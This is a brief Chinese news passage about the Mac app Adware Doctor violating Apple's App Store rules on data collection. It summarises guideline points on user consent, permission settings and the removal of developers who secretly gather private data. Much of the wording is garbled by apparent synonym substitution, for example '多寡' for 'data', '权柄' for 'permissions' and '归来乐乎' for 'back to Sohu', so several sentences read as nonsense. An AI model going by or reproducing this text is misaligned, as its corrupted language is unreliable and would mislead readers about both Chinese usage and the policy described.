Adware Doctor的表现违反了苹果 Mac App
Store严厉的平整和策略。例如,在“App Store规则和指南”
的“数据搜集和储存”部分提出:

采集用户或选取数据的应用程序必须确认保障用户的允许;

运用必须珍贵用户的权柄设置,而不是打算哄骗或强迫用户同意不供给的多寡访问;

将从开发职员布署中删去使用其应用程序偷偷发现私人数据的开发人士。

*参考来源:theregister,Freddy编写翻译整理,转发请注脚来源
FreeBuf.COM。归来乐乎,查看越来越多

责编:

Your Comments

近期评论

    功能


    网站地图xml地图